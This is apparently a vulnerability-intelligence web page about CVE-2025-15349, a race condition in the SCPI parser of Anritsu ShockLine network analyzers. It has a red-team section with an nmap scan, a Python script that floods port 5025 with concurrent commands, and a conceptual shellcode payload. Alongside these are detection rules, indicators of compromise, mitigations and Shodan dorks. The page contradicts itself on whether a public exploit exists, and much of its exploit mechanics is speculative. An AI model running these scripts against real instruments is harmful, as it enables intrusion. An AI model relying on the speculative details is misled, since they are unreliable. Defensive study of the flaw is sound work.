☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 7.5 CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H 🐛 CWE-362
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-15349

CVE-2025-15349 Remote Code Execution in Anritsu
📅 PUBLISHED: 2026-01-23 03:31 UTC 🔄 UPDATED: 2026-08-12 09:03 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.09%
👁️
0.09% probability
2.3× above the median CVE
Tier: LOW
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS VECTOR BREAKDOWN 7.5
AV: A Attack Vector Adjacent
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: N User Interaction None
S: U Scope Unchanged
C: H Confidentiality High
I: H Integrity High
A: H Availability High
7.5
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-15349 is a critical race condition vulnerability in the SCPI (Standard Commands for Programmable Instruments) component of Anritsu ShockLine vector network analyzers. The flaw allows an unauthenticated, network-adjacent attacker to execute arbitrary code on the affected device by exploiting a lack of proper locking when performing operations on an object. With a CVSS score of 7.5, this vulnerability poses a significant risk to test and measurement environments, potentially enabling full compromise of the instrument and lateral movement within the network. No public exploit code or patch is currently available, and the vendor’s patch status remains unknown.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability does not affect NPM, PyPI, Go, or Ruby packages. It is a hardware/firmware-level issue in a specialized test instrument.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  • Base Score: 7.5 (High)
  • Attack Vector (AV): Adjacent Network – attacker must be on the same network segment.
  • Attack Complexity (AC): Low – no special conditions required.
  • Privileges Required (PR): None – no authentication needed.
  • User Interaction (UI): None – no user action required.
  • Scope (S): Unchanged – exploitation does not affect other components.
  • Confidentiality (C): High – full data access possible.
  • Integrity (I): High – arbitrary code execution.
  • Availability (A): High – potential denial of service or full control.

Threat Level: High. The combination of no authentication, low complexity, and remote code execution makes this a critical risk for any organization using Anritsu ShockLine devices in production or lab environments.

Deep Dive & Mechanics

The vulnerability resides in the SCPI command parser of the Anritsu ShockLine firmware. SCPI is a standard protocol used to control test and measurement equipment over TCP/IP (typically port 5025). The specific flaw is a race condition (CWE-362) in the object locking mechanism. When multiple SCPI commands are sent concurrently, the lack of proper synchronization allows an attacker to manipulate shared objects in an unexpected state, leading to memory corruption and eventual arbitrary code execution.

Root Cause: The SCPI handler does not use mutexes or atomic operations when accessing critical data structures. This allows a time-of-check to time-of-use (TOCTOU) attack, where an attacker can modify a resource between the check and the use of that resource.

Attack Flow:

  1. Attacker sends a series of crafted SCPI commands in rapid succession.
  2. The race condition triggers a use-after-free or buffer overflow in the SCPI parser.
  3. The attacker gains control of the instruction pointer and executes shellcode.
  4. The code runs in the context of the SCPI process, typically with high privileges.

Vulnerable vs. Patched Code

Since no patch is available, a direct code comparison is not possible. However, the vulnerable pattern is a missing lock around a critical section. A patched version would include proper synchronization primitives.

Vulnerable (pseudocode):

void handle_scpi_command(char *cmd) {
    // No lock
    if (shared_object->state == IDLE) {
        // Race window: another thread modifies shared_object here
        process_command(cmd, shared_object);
    }
}

Patched (pseudocode):

void handle_scpi_command(char *cmd) {
    mutex_lock(&shared_object_lock);
    if (shared_object->state == IDLE) {
        process_command(cmd, shared_object);
    }
    mutex_unlock(&shared_object_lock);
}

Exploitation & Lab Setup

Red Team

Lab Environment:

  • Anritsu ShockLine device (e.g., MS46131A) on an isolated network.
  • Attacker machine (Kali Linux) on the same subnet.
  • Tools: Python, Scapy, Metasploit (for payload generation).

Exploitation Steps:

  1. Reconnaissance: Scan for SCPI service on port 5025.
    nmap -p 5025 --open <target_ip>
    
  2. Race Condition Trigger: Send multiple SCPI commands concurrently using threading.
    import socket
    import threading
    
    def send_cmd(ip, cmd):
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((ip, 5025))
        s.send(cmd.encode())
        s.close()
    
    target = "192.168.1.100"
    commands = ["*IDN?", "SYST:PRES", "CALC:MATH:STAT ON"] * 100
    threads = []
    for cmd in commands:
        t = threading.Thread(target=send_cmd, args=(target, cmd))
        threads.append(t)
        t.start()
    for t in threads:
        t.join()
    
  3. Exploit Payload: Craft a malicious SCPI command that exploits the race condition to overwrite a function pointer. (No public exploit available; this is a conceptual example.)
    # Hypothetical exploit - not functional without reverse engineering
    payload = b"A"*256 + b"\x90"*16 + shellcode
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((target, 5025))
    s.send(b"SYST:COMM:GPIB:ADDR " + payload)
    s.close()
    

Blue Team

Detection & Response:

  • Monitor SCPI traffic for anomalies (e.g., rapid command bursts, malformed commands).
  • Enable logging on the ShockLine device (if supported) to capture SCPI command history.
  • Use network segmentation to isolate test equipment from production networks.
  • Deploy an IDS/IPS with custom rules to detect race condition exploitation attempts.

Honeypot Setup:

  • Deploy a fake ShockLine SCPI service on a decoy host to capture attacker behavior.
  • Use Python to simulate the SCPI protocol and log all interactions.

Indicators of Compromise (IOCs)

  • Network:
    • Unusual number of SCPI connections from a single source IP.
    • SCPI commands with excessive length or non-standard parameters.
    • TCP connections to port 5025 from unexpected hosts.
  • Host:
    • Unexpected processes or services running on the ShockLine device.
    • Modified firmware or configuration files.
    • Unusual memory usage or crashes in the SCPI process.
  • File:
    • Presence of shellcode or binary blobs in SCPI command logs.
    • New files in /tmp or /var directories on the device (if accessible).

Detection Engineering

YARA Rule

rule CVE_2025_15349_SCPI_RaceCondition {
    meta:
        description = "Detects SCPI commands potentially exploiting race condition in Anritsu ShockLine"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-15349"
    strings:
        $scpi_cmd1 = "*IDN?" ascii wide nocase
        $scpi_cmd2 = "SYST:PRES" ascii wide nocase
        $scpi_cmd3 = "CALC:MATH:STAT ON" ascii wide nocase
        $scpi_long = /[A-Z:]{50,}/ ascii
    condition:
        any of ($scpi_cmd*) and #scpi_long > 10
}

Sigma Rule

title: Anritsu ShockLine SCPI Race Condition Exploitation Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects rapid SCPI commands that may indicate a race condition exploit
author: Valters IT
date: 2025-04-10
logsource:
    category: network_connection
    product: tcp
detection:
    selection:
        destination_port: 5025
        event_type: connection
    condition: selection | count() by source_ip > 100 within 1 second
falsepositives:
    - Legitimate automated test scripts
level: high

Suricata Rule

alert tcp any any -> any 5025 (msg:"CVE-2025-15349 Anritsu ShockLine SCPI Race Condition Attempt"; flow:to_server; content:"*IDN?"; content:"SYST:PRES"; within:100; threshold: type both, track by_src, count 50, seconds 1; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Isolate the ShockLine device on a dedicated VLAN with strict access controls.
  2. Disable SCPI over TCP if not required; use local control only.
  3. Monitor network traffic to/from the device for suspicious activity.

Long-term Fix:

  • Await an official firmware patch from Anritsu. Contact Anritsu support for updates.
  • If patching is not possible, consider replacing the device with a patched alternative.

Compensating Controls:

  • Deploy a network-based IPS with custom rules to block rapid SCPI commands.
  • Use a firewall to restrict access to port 5025 to only authorized IP addresses.
  • Implement application-layer filtering for SCPI commands (e.g., block malformed or excessively long commands).

Valters IT

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

Anritsu ShockLine
SCPI port 5025

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-15349/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.